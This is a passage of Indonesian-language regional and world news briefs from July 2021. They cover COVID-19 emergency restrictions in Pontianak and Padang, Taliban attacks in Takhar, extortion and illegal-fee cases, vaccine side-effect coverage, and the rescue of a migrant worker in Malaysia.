kedisiplinan semua pihak dengan menerapkan protokol kesehatan. Para pemimpin di pusat dan daerah, tokoh agama serta tokoh masyarakat juga harus memberi contoh berperilaku sehat untuk turut mencegah penyebaran COVID-19. Berperilaku sehat itu tidak hanya melalui perbuatan, tapi melalui pikiran sebelum diejawantahkan menjadi kata-kata yang akan dicerna masyarakat di berbagai lapisan. (sws)

Pasukan Afghanistan Tangkis Serangan Taliban di Taluqan

Kabul, FNN - Pasukan keamanan Afghanistan, dengan bantuan serangan udara, berhasil menahan serangan pejuang Taliban di Takhar, provinsi penting di utara yang berbatasan dengan Tajikistan pada Minggu, kata para pejabat. Serangan tersebut adalah yang terbaru dalam serangkaian serangan Taliban untuk merebut wilayah di Afghanistan ketika pasukan asing pimpinan AS menyelesaikan tahap akhir pemulangan setelah hampir 20 tahun bertempur di negara itu. "Serangan ofensif musuh berhasil digagalkan, dan mereka kehilangan banyak korban jiwa yang belum pernah terjadi sebelumnya, 55 tentara musuh tewas dan 90 lainnya terluka," kata gubernur provinsi Takhar Abdullah Qarluq. Kantor berita Reuters belum dapat mengonfirmasi pernyataan Qarluq. Lebih dari selusin pejuang Taliban tewas dalam serangan udara oleh Angkatan Udara Afghanistan di tempat persembunyian mereka di pinggiran Taluqan, pusat provinsi Takhar, kata kementerian pertahanan Afghanistan lewat Twitter. "Taliban menyerang Taluqan dari empat arah tadi malam (Sabtu), namun menghadapi perlawanan keras dari pasukan keamanan dan masyarakat setempat," kata Khalil Asir, juru bicara Komando Polisi Takhar, kepada Reuters. Taluqan menjadi ibu kota provinsi terakhir yang berada di bawah tekanan Taliban. Awal pekan ini, pejuang Taliban memasuki ibukota provinsi Badghis. Mereka menguasai markas polisi dan keamanan serta berusaha mengambil alih kantor gubernur, sebelum pasukan khusus berhasil mengusir mereka. Taliban telah membuat tekanan baru untuk menguasai wilayah dalam beberapa pekan terakhir yang dipicu oleh kepergian pasukan asing. Pentagon percaya, setelah mengambil alih lusinan pusat distrik, Taliban akan berusaha masuk ke pusat-pusat provinsi. Di Afghanistan selatan, bentrokan juga terus berlanjut. India mengatakan pada Minggu bahwa pihaknya telah memulangkan sementara para pejabat dari konsulat mereka di Kandahar, kota besar di Afghanistan selatan. "Akibat pertempuran sengit di dekat kota Kandahar, personel yang berbasis di India telah dipulangkan untuk sementara waktu," kata Arindam Bagchi, kepala juru bicara kementerian luar negeri India, dalam sebuah pernyataan. "India memantau dengan cermat situasi keamanan yang berkembang di Afghanistan," kata Bagchi, seraya menambahkan bahwa konsulat India di Kandahar untuk sementara dijalankan oleh staf lokal. Pemimpin Taliban mengatakan pada Jumat bahwa kelompok pemberontak Muslim Sunni telah menguasai 85 persen wilayah Afghanistan. Pemerintah Afghanistan menolak pernyataan itu dan menyebutnya propaganda. (sws) Sumber : Reuters

Vietnam Perluas Pembatasan COVID-19

Hanoi, FNN - Vietnam akan membatasi pergerakan masyarakat di Kota Mekong Delta, Can Tho selama 14 hari mulai Senin, kata pemerintah pada Minggu (11/7), saat negara Asia Tenggara itu memerangi pandemi COVID-19 terparah. Kota berpenduduk 1,23 juta jiwa di ujung selatan itu melaporkan tujuh kasus selama sepekan terakhir, demikian pernyataan pemerintah. Setelah berhasil menekan penularan virus corona selama pandemi, Vietnam menghadapi lonjakan kasus yang sulit dikendalikan sejak akhir April, saat kasus harian menyentuh angka tertinggi. Kementerian Kesehatan mencatat 1.953 kasus baru pada Minggu, hari ketujuh angka kasus melampaui 1.000 secara berturut-turut, dan melewati rekor 1.853 kasus pada Sabtu. Kebanyakan kasus berasal dari Kota Ho Chi Minh, pusat wabah COVID-19 di Vietnam. Total kasus COVID-19 di Vietnam mencapai 29.816 dengan 116 kematian, angka yang sangat rendah dibandingkan dengan sejumlah negara Eropa, India dan Amerika Serikat. Selama sepekan terakhir pemerintah mulai menerapkan pembatasan pergerakan di kota-kota besar seperti pusat ekonomi Ho Chi Minh dan ibu kota Hanoi. (sws) Sumber: Reuters

Pemerintah Kota Pontianak Terbitkan Surat Edaran PPKM Darurat

Pontianak, FNN - Wali Kota Pontianak, Kalimantan Barat, Edi Rusdi Kamtono telah menerbitkan Surat Edaran Nomor 800/24/SETDA/2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Pada Kondisi Darurat di Kota Pontianak dalam penanganan COVID-19. Sekretaris Satgas COVID-19 Kota Pontianak, Iwan Amriady di Pontianak,, Senin mengatakan, penerapan PPKM Darurat di Kota Pontianak ini sebagai tindak lanjut dari ketetapan pemerintah pusat yang menetapkan Pontianak sebagai satu di antaranya yang harus menerapkan PPKM Darurat mulai tanggal 12 sampai dengan 20 Juli 2021. “Penentuan PPKM Darurat ini berdasarkan kajian dan analisis pemerintah pusat terhadap daerah-daerah yang dikategorikan dalam zona merah COVID-19,” ujarnya. Dalam SE PPKM Darurat tersebut diatur pembatasan kegiatan masyarakat sesuai dengan masing-masing sektor terkait, yakni untuk kegiatan belajar mengajar di semua tingkat pendidikan dilakukan secara daring atau online, kemudian sektor non esensial seperti mall dan pertokoan yang menjual fashion, pakaian, tekstil, sepatu, sepeda, kendaraan bermotor, mainan anak, elektronik, aksesoris, toko meubel dan sejenisnya tutup selama PPKM Darurat, kemudian kegiatan hajatan, seni dan tempat hiburan juga ditiadakan. “Taman-taman, sarana olahraga, pusat kebugaran, salon kecantikan, refleksi dan panti pijat juga ditutup,” ujarnya. Sementara untuk sektor lainnya yang masih diperkenankan tetap beroperasi dengan beberapa ketentuan, diantaranya supermarket, minimarket, pasar tradisional, toko kelontong dan pasar swalayan yang menjual kebutuhan sehari-hari dengan dibatasi jam operasionalnya hanya sampai dengan pukul 20.00 WIB, serta membatasi pengunjung hanya 50 persen dari kapasitas tempat dan menerapkan protokol kesehatan secara ketat. Untuk pedagang makanan dan minuman, seperti restoran, rumah makan, warung makan, warung kopi, kafe, pedagang kaki lima, lapak jajanan, lamongan, baik yang berada di lokasi sendiri maupun yang berlokasi di pusat perbelanjaan atau mall, hanya diperkenankan melayani pembelian makanan dan minuman untuk dibawa pulang. “Jadi tidak diperbolehkan makan di tempat dan pedagang tidak menggelar meja dan kursi di tempat usahanya,” jelasnya. Sektor kritikal seperti layanan kesehatan yang mencakup rumah sakit, klinik, praktek dokter atau bidan, laboratorium, apotek, toko obat dapat beroperasi 100 persen dengan protokol kesehatan. Demikian pula sektor keamanan dan ketertiban umum dapat beroperasi penuh dengan menerapkan protokol kesehatan ketat. Selain itu, penanganan bencana, energi, logistik, transportasi dan distribusi terutama yang menyangkut kebutuhan pokok masyarakat, makanan dan minuman serta penunjangnya termasuk untuk ternak dan hewan peliharaan, pupuk dan petrokimia, semen dan bahan bangunan, obyek vital nasional, proyek strategi nasional, konstruksi infrastruktur publik, utilitas dasar (listrik, air dan pengelolaan sampah) dapat beroperasi 100 persen bagi staf pada fasilitas produksi, konstruksi dan pelayanan kepada masyarakat. “Untuk pelayanan administrasi perkantoran hanya 25 persen staf dengan protokol kesehatan secara ketat,” ujarnya. Pada sektor esensial juga dilakukan pembatasan-pembatasan. Pada sektor keuangan dan perbankan yang meliputi bank, asuransi, pegadaian, dana pensiun dan lembaga pembiayaan yang berorientasi pada pelayanan langsung dengan pelanggan atau customer dapat beroperasi dengan kapasitas maksimal 50 persen staf yang bekerja, sedangkan yang berkaitan dengan pelayanan administrasi perkantoran hanya diperkenankan beroperasi 25 persen. Teknologi informasi dan komunikasi meliputi operator seluler, data center, internet, pos, media terkait penyebaran informasi kepada masyarakat dapat beroperasi dengan kapasitas maksimal 50 persen staf yang bekerja. “Perhotelan non penanganan karantina dapat beroperasi dengan kapasitas maksimal 50 persen staf yang bekerja,” katanya. Iwan menambahkan, bengkel mobil dan motor, baik yang berada di lokasi sendiri maupun berada di lokasi dealer dapat beroperasi dengan kapasitas maksimal 50 persen. Transportasi umum termasuk angkutan massal, taksi konvensional dan online, kendaraan rental dapat beroperasi. “Dengan kapasitas maksimal 70 persen dengan penerapan protokol kesehatan secara lebih ketat,” katanya. Untuk informasi lebih rinci terkait SE PPKM Darurat, lanjut Iwan, masyarakat bisa melihat dan mengunduh di website resmi Pemkot Pontianak dengan alamat www.pontianakkota.go.id. "Silakan untuk lebih detilnya bisa dibuka di alamat website tersebut," katanya. Dengan telah terbitnya SE PPKM Darurat ini, dirinya mengimbau kepada masyarakat untuk mematuhi ketentuan yang telah dikeluarkan demi kepentingan bersama. “Kita sangat mengharapkan seluruh masyarakat memahami serta mematuhi ketentuan PPKM Darurat yang berlaku dalam upaya untuk menjadikan Kota Pontianak yang kita cintai ini segera keluar dari status zona merah," katanya. (sws)

Polisi Buru Pemalak Sopir Truk Semen di Padang yang Viral

Padang, FNN - Kepolisian Resor Kota Padang, Sumatera Barat (Sumbar) beserta jajaran saat ini tengah memburu pelaku pemalakan sopir truk pengangkut semen dari Semen Padang yang viral di media sosial. "Peristiwa ini kami ketahui dari informasi masyarakat serta video yang viral di media sosial," kata Kepala Satuan Reserse Kriminal Polresta Padang Kompol Rico Fernanda, di Padang, Minggu. Ia mengatakan Satreskrim Polresta Padang beserta jajaran melakukan pemburuan terhadap pelaku yang telah dikantongi identitas serta alamatnya. "Kami juga telah mendatangi kediamannya, hanya saja yang bersangkutan tidak pulang ke rumah sejak kejadian," kata Rico. Rico menjelaskan modus yang diduga dilakukan oleh pelaku adalah dengan meminta uang kepada para sopir truk yang mengangkut semen dari Semen Padang. Apabila sang sopir tidak memberikan uang, lanjutnya, maka akan diancam oleh pelaku bahkan mendapatkan kekerasan. Ia menegaskan kalau pihaknya akan terus memburu pelaku serta melakukan penindakan karena perbuatannya telah meresahkan masyarakat. Sebelumnya, seorang sopir truk dipalak oleh preman di kawasan Indarung, Padang. Tidak hanya dipalak, sang sopir juga tampak dipukul beberapa-kali. Aksi pelaku itu kemudian direkam seseorang lalu diunggah ke media sosial facebook serta instagram sehingga viral. Salah satu akun facebook yang mengunggah video adalah "Galigaman Sangir" pada Sabtu (10/7), hingga Minggu (11/7) videonya telah ditonton oleh 624 ribu orang, dan mendapatkan 9 ribu lebih komentar dari warganet. Pada keterangan video dituliskan kalau kejadian itu terjadi di PPI Indarung PT Semen Padang, Kecamatan Lubuk Kilangan, Kota Padang. Di dalam video pelaku mengaku bernama Izet dan meminta uang untuk membeli minum, ia juga mengeluarkan kata-kata kotor sebelum akhirnya diberi uang oleh sopir Rp20 ribu. (sws)

Fraksi PDIP: Wali Kota Tunjukan Tindakan Tegas Segel Centre Point

Medan, FNN - Fraksi PDIP DPRD Kota Medan, Sumatera Utara, menilai Wali Kota Medan menunjukkan tindakan tegas dengan menyegel Mal Centre Point, karena menunggak Pajak Bumi dan Bangunan (PBB) sebesar Rp56 miliar. "Patut kita acungi jempol. Apresiasi yang kita berikan untuk Wali Kota Medan saudara Bobby Nasution, dan kita mendukung sepenuhnya tindakan penyegelan itu," ujar Ketua Fraksi PDIP DPRD Kota Medan, Robi Barus di Medan, Ahad. Politisi PDIP ini mengatakan, bahwa hukum harus ditegakkan sebagai bukti dan bukan sekedar lip service , tetapi serius membenahi peraturan di ibu kota Provinsi Sumatera Utara ini. Fraksi PDIP sebenarnya telah lama meminta Pemkot Medan melakukan tindakan tegas kepada Mal Centre Point, karena hal tersebut berbanding lurus dengan iklim investasi yang sehat. "Kepada investor kita tegaskan, silakan berinvestasi di Kota Medan dan kita dukung penuh. Akan tetapi ada aturan yang harus dipatuhi, termasuk membayar pajak," terang dia. Seperti diketahui, Wali Kota Medan Bobby Nasution pekan ini melakukan penyegelan Gedung Mal Centre Point akibat menunggak PBB ke Pemkot Medan selama 10 tahun terakhir sebesar Rp56 miliar. "Pajak itu, 'nyawa' pembangunan. Menunggak pajak, berarti memperlambat laju pembangunan. Investor harus mengerti akan hal ini," tegas Robi yang juga menjabat Ketua Badan Kehormatan Dewan DPRD Kota Medan ini. (sws)

Kemarin, Penanganan Pandemi dengan TI Hingga Percepatan Vaksinasi

Jakarta, FNN - Lima berita politik pada Minggu (11/7) yang masih menarik untuk dibaca dan menjadi perhatian publik, mulai Ketua DPR RI minta pemerintah manfaatkan TI data ketersediaan temlat tidur untuk pasien Covid-19 hingga percepatan vaksinasi. Klik di sini untuk membaca berita selengkapnya 1. Puan minta pemerintah manfaatkan TI data ketersediaan tempat tidur Ketua DPR, Puan Maharani, meminta pemerintah pusat dan daerah memanfaatkan teknologi informasi (TI) dalam mendata dan menginformasikan ketersediaan tempat tidur di pusat layanan kesehatan bagi pasien Covid-19. Dia menilai, tambahan lokasi isolasi bagi pasien Covid-19 di sejumlah tempat di Jakarta harus dibarengi dengan kemudahan informasi yang aktual bagi pasien untuk bisa mengakses pelayanan kesehatan. Selengkapnya di sini 2. KSP bahas penanganan COVID-19 dengan kepala desa di wilayah Jawa-Bali Kantor Staf Presiden mengadakan forum dialog virtual bersama kepala desa di wilayah Pulau Jawa dan Pulau Bali, Minggu, untuk mendapatkan informasi mengenai penanganan Covid-19, termasuk kendala yang dihadapi di tingkat desa. Dialog yang diselenggarakan melalui forum KSP Mendengar ini dihadiri 80 kepala desa dari total sekitar 26.000 desa yang tersebar di tujuh provinsi di Pulau Jawa dan Pulau bali Bali. Selengkapnya di sini 3. Panglima TNI tinjau vaksinasi massal dan dapur lapangan Marinir TNI AL di GBK Panglima TNI, Marsekal TNI Hadi Tjahjanto, bersama Menteri Kesehatan, Budi Gunadi Sadikin, dan pejabat negara lainnya meninjau pelaksanaan vaksinasi massal dan dapur lapangan Batalion Perbekalan dan Peralatan 1 Korps Marinir TNI AL, di Stadion Utama Gelora Bung Karno di Jakarta. "Meskipun sudah bekerja setahun lebih, Anda harus tetap menjaga kesehatan dan semangat," kata Tjahjanto melalui keterangan tertulis yang diterima di Jakarta, Minggu. Selengkapnya di sini 4. Politisi muda Roro Esti harapkan keterwakilan perempuan DPR terpenuhi Politisi muda Dyah Roro Esti mengharapkan keterwakilan perempuan di DPR memenuhi kuota 30 persen sesuai UU Nomor 12/2004 tentang Pemilu. Menurut dia, dalam keterangannya di Jakarta, Minggu, pada periode 2019-2024, per Januari 2021 terdapat 123 jumlah perempuan di DPR atau baru mencakup 21,39 persen, sehingga masih di bawah target sesuai UU Pemilu. Selengkapnya di sini 5. Mahasiswa deklarasi mendukung terbentuk Kabupaten Sambas Utara Sejumlah gabungan mahasiswa mendeklarasikan diri untuk mendukung dan mendorong terbentuknya Kabupaten Sambas Utara (KSU) sebagaimana harapan masyarakat daerah tersebut. "Peran mahasiswa sangat penting dalam mendorong dan mewujudkan Kabupaten Sambas Utara, mengingat dan melihat luasnya Kabupaten Sambas sekarang, maka perlu pemekaran kabupaten yang baru. Untuk itu, kami deklarasikan diri," ujar perwakilan Gabungan Persatuan Mahasiswa KSU, Fajar Anggreswari, saat dihubungi di Sambas, Kalimantan Barat, Minggu. (sws) Selengkapnya di sini

Anggota DPRD Banjarbaru Dorong Pembelajaran Tatap Muka

Banjarbaru, FNN - Anggota DPRD Kota Banjarbaru, Kalimantan Selatan, Ahmad Nur Irsan Finazli mendorong pembelajaran tatap muka diterapkan di sekolah dengan memperhatikan protokol kesehatan yang ketat. "Saya mendorong pembelajaran tatap muka dijalankan sekolah-sekolah bahkan mulai Juli PTM layak dimulai. Tentu, dengan menerapkan syarat protokol kesehatan yang ketat," ujarnya di Banjarbaru, Ahad. Menurut Wakil Ketua Komisi I DPRD Banjarbaru itu, pihaknya melalui kadis pendidikan sudah menyampaikan masukan kepada Pemkot Banjarbaru terkait kebijakan melindungi warga saat pemberlakuan PTM. Disebutkan, banyak hal harus dibahas untuk menggelar pembelajaran tatap muka mulai dari vaksinasi terhadap guru dan tenaga pendidikan apakah sudah divaksin hingga kesiapan baik sarana maupun prasarana sekolah. "Artinya, semua harus siap baik vaksin bagi guru, kesiapan seperti wastafel dengan air mengalir, sabun cair atau handsanitizer juga kesiapan sekolah menyediakan masker, ventilasi ruang hingga jarak aman," ungkapnya. Demikian juga, shift waktu saat PTM apakah sekolah sudah siap mengelola 2-3 shift waktu sekolah termasuk menyiapkan petugas yang mengatur khusus agar siswa datang dan pulang tidak bermain bersama. "Saya tahu, semua sekolah sudah mempersiapkannya jauh-jauh hari, bahkan surat pernyataan ortu wali siswa terkait PTM sudah disampaikan ke sekolah dan disdik," sebut wakil rakyat dari PKS itu. Dikatakan, pihaknya dalam berbagai kesempatan baik saat rapat maupun inspeksi bersama komisi I ke Pemkot Banjarbaru mendorong agar segera laksanakan PTM jika semua syarat prokes sudah dipenuhi. "Saya yakin hampir seluruh sekolah sudah menyiapkan dengan baik sesuai yang dipersyaratkan Disdik untuk bisa menggelar PTM sehingga saya sangat mendukung dan mendorong Kota Banjarbaru layak PTM," kata dia. Ditambahkan, pemerintah kota dan kabupaten lain di Kalsel juga sudah melaksanakan PTM pada sekolah piloting. Bahkan pondok pesantren juga sudah melaksanakan PTM yang pelaksanaannya memenuhi prokes. "Pendidikan adalah urusan layanan wajib dan harus disiapkan pemerintah sehingga pemkot harus berani jujur dan terbuka tentang kondisi kota agar masyarakat percaya dan mengikuti keputusan yang diambil," katanya.***2*** (sws)

Epidemiolog Ingatkan Sumsel Tambah Nakes Terkait Penyebaran COVID-19

Palembang, FNN - Epidemiolog Universitas Sriwijaya Iche Andriyani Liberty mengingatkan Pemerintah Provinsi Sumatera Selatan menambah tenaga kesehatan karena jumlah pasien COVID-19 aktif dalam perawatan meningkat dari 63 persen menjadi 84 persen atau 2.454 orang dalam sepekan terakhir. Iche Andriyani Liberty di Palembang, Minggu, mengatakan kesiapan nakes di Sumatera Selatan menjadi isu utama saat ini karena kasus konfirmasi positif yang merangkak naik menyentuh angka 423 pasien atau 100 orang dalam sehari. Dari 18 rumah sakit rujukan yang merawat pasien COVID-19, saat ini tingkat keterisian ruang perawatannya rata-rata 30-50 persen. Jumlah pasien tersebut diperkirakan akan terus bertambah beriringan dengan kasus aktif harian merangkak naik 2,7 persen akumulasi dari 17 kabupaten/kota. Selain menyiapkan tempat perawatan pasien, pemerintah juga harus memperhitungkan kesiapan tenaga medis seperti dokter dan perawat di Sumatera Selatan. Akumulasi kasus yang terjadi dikhawatirkan semua ruang perawatan di rumah sakit akan dipenuhi pasien COVID-19. "Maka jangan kesampingkan kesiapan nakes. Bila lonjakan terus terjadi mereka (nakes) akan kewalahan," kata dia. Pemerintah Provinsi Sumatera Selatan telah menginstruksikan setiap rumah sakit minimal menambah 30 persen ruang perawatan pasien COVID-19 dan mengaktifkan satu tower tambahan di Wisma Atlet Jakabaring Sport City (JSC) yang memiliki 100 tempat tidur pasien. Menurut dia, namun hingga kini pemerintah belum mengumumkan berapa jumlah nakes yang disiapkan. "Jadi lakukan persiapan secara menyeluruh. Takutnya saat pasien datang dalam keadaan darurat rumah sakit tidak siap," ujar dia. (mth)

Ridwan Kamil Minta Maaf Terkait Pungli Pemakaman Jenazah COVID-19

Bandung, FNN - Gubernur Jawa Barat (Jabar) M Ridwan Kamil atau Kang Emil menyampaikan permohonan maaf terkait temuan pungli terhadap keluarga pasien COVID-19 yang dimakamkan di Tempat Pemakaman Umum (TPU) Cikadut, Kota Bandung. "Kami memohon maaf atas dinamika yang terjadi di lapangan, karena seharusnya hal ini tidak terjadi," kata Kang Emil dalam siaran persnya, Ahad. Dia menuturkan pihaknya bersama Kapolda Jabar Irjen Pol Ahmad Dofiri akan menindaklanjuti dan memproses secara hukum oknum yang lakukan pungli terhadap keluarga pasien COVID-19 yang dimakamkan di TPU Cikadut, Kota Bandung tersebut. "Oknum tersebut sudah langsung dipecat dan sekarang diperiksa oleh kepolisian. Oknum-oknum tersebut ternyata melakukan modus tidak hanya kepada nonmuslim, namun kepada keluarga jenazah Covid yang muslim juga," kata dia. Kang Emil menegaskan, pemakaman jenazah pasien COVID-19 tidak dipungut biaya. Petugas pemakaman pun sudah mendapat pembayaran dari Pemerintah Daerah (Pemda) Kabupaten/Kota sebagai instansi pengelola. Oknum yang melakukan pungli, katanya, sudah mengembalikan uang kepada keluarga yang jadi korban. Setelah mendapat laporan terkait pungli pemakaman jenazah COVID-19 di TPU Cikadut, Kang Emil langsung menjalin komunikasi dengan Pemda Kota Bandung untuk memperbaiki dan meningkatkan pengawasan. "Sudah berkoordinasi dengan Pemkot Bandung melalui Wakil Wali Kota agar memperbaiki dan meningkatkan pengawasan terkait pemakaman COVID-19 di wilayahnya agar kejadian serupa tidak terulang," katanya. Kang Emil mengimbau Pemda Kabupaten/Kota di Jabar untuk memastikan pelayanan kepada publik berjalan optimal dan tidak ada pungli pemakaman jenazah pasien COVID-19 di wilayahnya. "Juga arahan yang sama juga disampaikan kepada kota kabupaten lainnya agar memastikan pelayanan kepada publik harus optimal dan tidak berbayar," ujarnya.* (mth)

Presiden G20: Kita Musti Hindari Penerapan Pembatasan Baru COVID

Venice, FNN - Menteri Ekonomi Italia Daniele Franco mengatakan varian COVID-19 menjadi sumber kekhawatiran utama bagi ekonomi global namun dunia harus menghindari penerapan pembatasan baru terhadap kehidupan masyarakat dalam memerangi pandemi, Sabtu (10/7). "Jawaban satu-satunya adalah vaksinasi," kata Franco, berbicara di akhir pertemuan menteri keuangan dan gubernur bank sentral Kelompok 20 negara kaya (G20) di Venezia --di bawah kepresidenan Italia. "Sumber utama ketidakpastian (ekonomi) terkait dengan pandemi dan varian baru," kata Franco kepada awak media. Ia menambahkan "kami semua sepakat bahwa kami harus menghindari penerapan lanjutan pembatasan terhadap pergerakan masyarakat dan cara hidup mereka." Pada pertemuan itu, G20 tidak menjanjikan dana tambahan untuk membiayai vaksin bagi negara-negara miskin berisiko varian COVID-19, yang tingkat vaksinasinya rendah. Akan tetapi, Franco mengatakan kelompok itu akan mengkaji masalah tersebut pada Oktober. Franco memuji dukungan G20 atas sebuah kesepakatan "bersejarah" tentang di mana dan seberapa banyak perusahaan besar harus dikenai pajak. Ia mengatakan kelompok itu akan membuat sebuah "sistem yang lebih terkoordinasi dan lebih adil" meski perinciannya masih harus diselesaikan. (mth)

Pemerintah Tanggung Biaya Penanganan KIPI dalam Vaksinasi Berbayar

Jakarta, FNN - Juru Bicara Vaksinasi COVID-19 Kementerian Kesehatan Siti Nadia Tarmizi mengemukakan bahwa pemerintah akan menanggung biaya penanganan kejadian ikutan pasca-imunisasi (KIPI) yang dialami oleh pengguna pelayanan vaksinasi COVID-19 berbayar. "KIPI-nya ditanggung pemerintah sesuai di permenkes (peraturan menteri kesehatan)," katanya saat dimintai keterangan di Jakarta, Minggu. Peraturan yang dia maksud yakni Peraturan Menteri Kesehatan Nomor 18 Tahun 2021 mengenai pelaksanaan vaksinasi dalam rangka penanggulangan pandemi COVID-19. Menurut peraturan itu, penanganan KIPI bagi peserta aktif program Jaminan Kesehatan Nasional (JKN) dilakukan berdasarkan mekanisme pembiayaan pelayanan dalam program JKN. Bagi peserta nonaktif JKN maupun bukan peserta JKN, pembiayaan penanganan KIPI dilakukan menggunakan dana yang bersumber dari anggaran pendapatan dan belanja negara sesuai dengan peraturan perundangan di bidang keuangan negara. Bagi peserta aktif JKN, pelayanan kesehatan yang berkenaan dengan penanganan KIPI dilakukan di fasilitas kesehatan yang bermitra dengan Badan Penyelenggara Jaminan Sosial Kesehatan. Bagi peserta non-aktif JKN dan bukan peserta JKN, pelayanan kesehatan diberikan setara dengan pelayanan bagi peserta program JKN kelas III atau di atas kelas III jika pasien yang bersangkutan menghendaki dan bersedia membayar selisih biayanya. Siti Nadia mengatakan, pelayanan vaksinasi COVID-19 berbayar bisa dimanfaatkan oleh masyarakat yang belum tercakup dalam program pelayanan vaksinasi pemerintah. Ia mengemukakan bahwa program vaksinasi gotong royong yang diselenggarakan oleh perusahaan bagi pekerja sejak Mei 2021 juga tergolong pelayanan vaksinasi berbayar. "Vaksinasi gotong royong kan juga berbayar, tapi yang membayar perusahaan untuk karyawan. Tapi kalau vaksin gotong royong untuk individu dibayar oleh individu bersangkutan," katanya. (mth)

Wako Hendri Septa Tanggapi Penetapan PPKM Darurat Padang

Padang, FNN - Wali Kota Hendri Septa menanggapi penetapan Kota Padang sebagai salah satu daerah yang ditetapkan pemerintah pusat berstatus Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) darurat. "Sampai saat ini kami belum mendapatkan surat resmi terkait pernyataan perubahan atau peningkatan dari status PPKM Mikro menjadi PPKM Darurat bagi Kota Padang, akan tetapi kami mengimbau warga lebih disiplin melaksanakan protokol kesehatan," kata dia di Padang, Sabtu malam. Menyikapi hal itu jajaran Pemerintah Kota Padang yang tergabung dalam Satuan Tugas (Satgas) PPKM Kota Padang langsung menggelar rapat koordinasi. Akan tetapi ia mengaku telah menerima undangan dari Pemerintah Provinsi Sumbar untuk mengikuti rapat koordinasi membahas hal ini pada Senin 13 Juli 2021. "Untuk saat ini kita di Kota Padang masih memberlakukan PPKM Mikro belum PPKM Darurat. Jadi bagaimana kepastiannya, kita tunggu pada Senin 12 Juli 2021 nanti," katanya. Terkait dimintanya Kota Padang menerapkan PPKM Darurat, Hendri menyampaikan pihaknya siap menerapkan apabila kebijakan dan aturan itu telah ditetapkan secara resmi pemerintah pusat . "Sampai saat ini kita terus dan terus mengimbau kepada masyarakat Kota Padang untuk menyikapi serius dan betul-betul melaksanakan semua aturan yang ada dalam PPKM Pengetatan saat ini," kata dia Ia berharap, semoga dengan penerapan PPKM dapat menekan angka COVID-19. Hendri mengajak semua masyarakat di Kota Padang saling mendukung dan menyosialisasikan aturan yang diatur dalam masa PPKM Mikro. Sebelumnya pemerintah menetapkan sebanyak 15 kabupaten/kota di luar Jawa-Bali akan menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat mulai 12 Juli. “Berdasarkan parameter, pemerintah mendorong beberapa daerah untuk diberlakukan PPKM darurat,” kata Menteri Koordinator Bidang Perekonomian Airlangga Hartarto dalam konferensi pers daring. Penetapan kabupaten/kota di luar Jawa yang menerapkan PPKM darurat tersebut, kata Menko Airlangga, berdasarkan empat parameter yakni level asesmen 4, BOR (bed occupancy rate) di atas 65 persen, kasus aktif meningkat signifikan dan capaian vaksinasi di bawah 50 persen. Pengaturan PPKM Darurat di kabupaten/kota di luar Jawa tersebut ditetapkan sesuai dengan PPKM darurat di Jawa Bali atau Instruksi Mendagri Nomor 15,16 dan 18/2021. Pengaturan tersebut mulai berlaku pada 12 Juli 2021 sampai dengan keputusan berikutnya. Lebih lanjut Airlangga menyampaikan pemerintah akan melakukan penguatan 3T (testing, tracing dan treatment) di 15 kabupaten/kota yang menerapkan PPKM darurat dengan target positivity rate di bawah 10 persen. Lalu target penelusuran mencapai lebih dari 15 kontak erat per kasus konfirmasi serta treatment dilakukan secara komprehensif sesuai dengan berat gejala. Adapun 15 kabupaten/kota yang akan menerapkan PPKM Darurat tersebut di Provinsi Kalimantan Barat adalah Kota Pontianak, Kota Singkawang, dan Berau. Di Kalimantan Timur Kota Balikpapan dan Kota Bontang. Kepulauan Riau Kota Batam dan Kota Tanjung Pinang. Lalu di Lampung, Kota Bandar Lampung. Di NTB, Kota Mataram. Kemudian Papua Barat di Kota Sorong dan Manokwari. Provinsi Sumatera Barat Kota Bukittinggi, Kota Padang dan Kota Padang Panjang. Serta Sumatera Utara di Kota Medan.* (mth)

BMKG Deteksi Tiga Titik Panas di NTT

Kupang, FNN - Stasiun Meteorologi El Tari Kupang Badan Meteorologi Klimatologi dan Geofisika (BMKG) mendeteksi tiga titik panas (hotspot) di wilayah Nusa Tenggara Timur pada 10-11 Juli 2021. "Tiga titik panas ini tersebar di Kecamatan Tanjung Bunga Kabupaten Flores Timur satu titik dan dua titik di Kabupaten Sumba Timur, masing-masing di Kecataman Haharu dan Umbu Ratu Nggay," kata Kepala Stasiun Meteorologi El Tari Kupang Agung Sudiono Abadi ketika dikonfirmasi, Ahad. Ia mengatakan titik panas diketahui berdasarkan analisis peta sebaran titik panas dengan pantauan Satelit Terra, Aqua, Suomi NPP dan NOAA20 oleh Lembaga Penerbangan dan Antariksa Nasional (LAPAN). Dijelaskan satelit akan mendeteksi anomali suhu panas dalam luasan 1 km persegi. Pada suatu lokasi di permukaan bumi dan akan diobservasi 2-4 kali per hari. Pada wilayah yang tertutup awan, maka hotspot tidak dapat terdeteksi. Kekeringan dan hembusan angin yang kencang juga menjadi penyebab tidak langsung dalam sebaran suatu titik panas tersebut. "Citra satelit tersebut hanya menilai anomali reflektifitas dan suhu sekitar yang diinterpretasikan sebagai titik panas. Penyebab adanya anomali tersebut tidak dapat kami pastikan," katanya. Titik panas tersebut bukan berarti jumlah sebenarnya titik api atau kebakaran dan bukan merupakan titik api (firespot) pada suatu wilayah. Informasi sebaran titik panas merupakan indikator awal kebakaran lahan serta dapat dimanfaatkan dalam deteksi area terbakar, demikian Agung Sudiono Abadi.* (mth)

Pekerja WNI di Malaysia Diselamatkan dari Perburuhan Paksa

Kuala Lumpur, FNN - Seorang pekerja warga negara Indonesia telah diselamatkan dari kemungkinan menjadi buruh paksa setelah pihak berwenang menerima pengaduan dan informasi dari pihak Kedutaan Besar Republik Indonesia (KBRI) Kuala Lumpur pada 7 Juli 2021. Kementerian Sumber Daya Manusia Malaysia dalam pernyataannya di Kuala Lumpur, Minggu, mengatakan hasil investigasi yang dijalankan pada 7 dan 8 Juli 2021 telah membawa pada operasi penyelamatan korban pada 9 Juli 2021. "Operasi diketuai oleh Kantor Tenaga Kerja (JTK) pusat dan JTK Perak dengan kerja sama pasukan Task Force MAPO serta pegawai Polisi DiRaja Malaysia (PDRM) dari Kepolisian Daerah Taiping pada jam 06.30 pagi," katanya. Korban adalah seorang wanita berumur 36 tahun, dibawa masuk ke Malaysia oleh seorang agen yang menjanjikan bahwa dia akan dipekerjakan sebagai pembantu rumah serta dijanjikan gaji sebanyak RM1,000 (sekitar Rp 3,4 juta). Korban telah diminta untuk membayar sebanyak tiga bulan gaji sebagai bayaran 